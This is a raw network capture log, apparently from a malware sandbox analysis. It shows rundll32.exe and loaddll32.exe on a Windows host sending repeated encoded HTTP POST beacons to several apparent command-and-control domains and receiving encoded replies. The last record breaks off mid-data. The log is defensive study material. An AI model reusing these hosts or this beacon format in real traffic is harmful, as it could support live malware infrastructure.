f3p/QUVCQ0FBfn15eH96fXl6fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.3	50300	185.20.51.238	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:34.271264076 CEST	7646	OUT	POST /DlOBqKAf/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: opulent-imports.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:34.309077978 CEST	7646	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:34 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: application/x-httpd-ea-php54

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.3	50299	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:05:34.396747112 CEST	7646	OUT	POST /lBawcxb5/fD8ZeR48BHgrLCIsBDwELHoZRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:05:34.887758970 CEST	7647	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:05:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 6c 34 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXl4eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49801	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:33.723792076 CEST	1138	OUT	POST /lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:34.205631018 CEST	1140	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49802	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:34.471623898 CEST	1141	OUT	POST /lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:34.984869957 CEST	1142	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49803	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:34.658296108 CEST	1141	OUT	POST /lBawcxb5/DRs5e3gJAw4gNkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:35.138315916 CEST	1143	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49804	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:35.399739981 CEST	1144	OUT	POST /lBawcxb5/DRs5e3gJAw4gNkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:35.892086983 CEST	1146	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyeUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49758	199.193.116.170	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:10.817383051 CEST	1046	OUT	POST /eJDLM6siEv/ASk5Kx0SPR8lJjE5eTg9GkN6dX1le310YXlkeA== HTTP/1.1 Host: profitshub.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:11.050757885 CEST	1046	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:10 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49805	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:35.699218988 CEST	1145	OUT	POST /lBawcxb5/P34KJnkbASUWPzEYIgcWQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:36.186469078 CEST	1147	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49806	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:36.222759008 CEST	1147	OUT	POST /lBawcxb5/P34KJnkbASUWPzEYIgcWQntyfmF6fHNifWV5 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:36.666610003 CEST	1149	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49807	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:36.583089113 CEST	1148	OUT	POST /lBawcxb5/ES1CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:37.075926065 CEST	1150	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49808	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:37.076452971 CEST	1151	OUT	POST /lBawcxb5/ES1CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:37.559592962 CEST	1152	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 